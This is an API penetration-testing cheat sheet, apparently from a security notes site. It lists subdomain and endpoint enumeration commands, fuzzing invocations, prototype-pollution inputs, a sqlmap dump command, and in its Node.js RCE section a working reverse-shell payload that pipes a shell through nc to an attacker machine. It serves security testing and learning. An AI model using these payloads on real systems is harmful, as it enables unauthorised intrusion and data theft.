API Pentesting
Last modified: 2024-04-13
Application Programming Interface (API) is for communicating with each computer. There are several types such as Web API, REST API, RESTful API.
API Subdomains Discovery
Reference: https://infosecwriteups.com/how-to-discover-api-subdomains-api-hacking-41ef91d00846
api.example.com
# with another subdomain
sub.api.example.com
api.sub.example.com
# Versions
v1.api.example.com
v2.api.example.com
api.v1.example.com
api.v2.example.com
Google Dorks
site:*.api.example.com
site:api.*.example.com
# Random domains
site:*.api.*.*
site:api.*.*.*
site:*.api.*.com
site:api.*.*.com
site:*.api.*.gov
site:api.*.*.gov
Automation
subfinder -d example.com | grep api
Below fuzz target web server directly so be careful when doing that.
ffuf -u https://FUZZ.api.example.com -w wordlist.txt
ffuf -u https://api.FUZZ.example.com -w wordlist.txt
Change HTTP Request Methods
# Methods
GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, INVENTED
Change Content-Type
When trying to access or modify values in API, changing the Content-Type
header may abuse the system.
Content-Type: application/json
Content-Type: application/xml
Content-Type: application/x-www-form-urlencoded
Content-Type: text/html
Content-Type: text/plain
Content-Type: text/xml
Endpoint Discovery
Try to enumerate endpoints while changing HTTP methods like GET, POST, OPTIONS, etc.
/api/?xml
/api?xml
/api/v1?xml
/api/v1/user?xml
# Web Service Description Language
/api/?wsdl
# Versions
/api/v1/user
/api/v2/user
/api/v3/user
# Wildcards
/api/v2/user/*
/api/v2/user/posts/*
/api/v2/users/*
# Path traversal
/api/v1/post/..\private
# Misc
/api/user/1
/api/users/1
/api/users/1/delete
/api/users/1/edit
/api/users/1/update
Automation
# Dirb
dirb https://vulnerable.com/ endpoints.txt
# Ffuf
ffuf -u https://vulnerable.com/FUZZ -w endpoints.txt
ffuf -u https://vulnerable.com/FUZZ -X POST -w endpoints.txt
ffuf -u https://vulnerable.com/api/FUZZ -w wordlist.txt
ffuf -u https://example.com/api/?FUZZ=test -w wordlist.txt
# Gobuster
gobuster dir -u https://vulnerable.com/ -w endpoints.txt
# Kiterunner
# -A: wordlist type (ex. first 20000 words)
# -x: max connection per host (default: 3)
kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10
kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10 --fail-status-codes 401,404
kr scan https://vulnerable.com:8443/api -A=apiroutes-210228:20000 -x 10
This wordlist is useful for endpoints.
GET Parameters
/api/v1/user?id=test
/api/v1/user?name=test
/api/v1/user?uuid=test
/api/v1/status?live=test
/api/v1/status?verbose=test
Parameter Fuzzing
# Key
ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt
ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120
ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt
ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120
# Value
ffuf -u https://vulenrable.com/api/items?test=FUZZ -w wordlist.xt
ffuf -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120
ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt
ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120
Sending Unexpected Data
We might be able to find anything by sending unexpected data on POST or PUT method.
{"email": "test@test.com"}
{"email": true}
{"email": 1}
{"email": -1}
{"email": ["test@test.com", true]}
{"email": {"admin": true}}
// Prototype Pollution
{"email": "test@test.com", "__proto__": {"admin": true}}
{"email": {"__proto__": {"admin": true}}}
XSS
If we can send post (or put) requests to API endpoints, we may be able to insert payloads and the result will be reflected as the output.
XSS can be used for this exploitation.
SQL Injection
sqlmap -u http://vulnerable.com/api/v2/fetch/?post=1 --dump --batch
Node.js Remote Code Execution (RCE)
If the website uses the Node (e.g. Express), we may be able to execute the JavaScript function.
# Get current working directory in the website
/api/?key=process.cwd()
Reverse Shell
We may be able to execute reverse shell using "child_process".
First off, start listener for getting a shell in local machine.
nc -lvnp 4444
Then send request to the website with the parameter which executes reverse shell using child_process.
/api/?key=require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> 4444 >/tmp/f')
We should see that we get a shell in local terminal.
Same Session Across Multiple Versions and Instances
For example, assumed the website has two endpoints such as "/api/v1/user/login", "/api/v2/user/login".
"v1" uses "X-Token" and "v2" uses "X-Session".
After login to "v1", you may be able to get access "v2" using the session key/value of "v1".
X-Token: fc38ab5f5ae41072778d852023f9ee26
X-Session: fc38ab5f5ae41072778d852023f9ee26
XXE
GET /api/product/1?xml HTTP/1.1
If the website displays the response in XML, we might be able to XXE.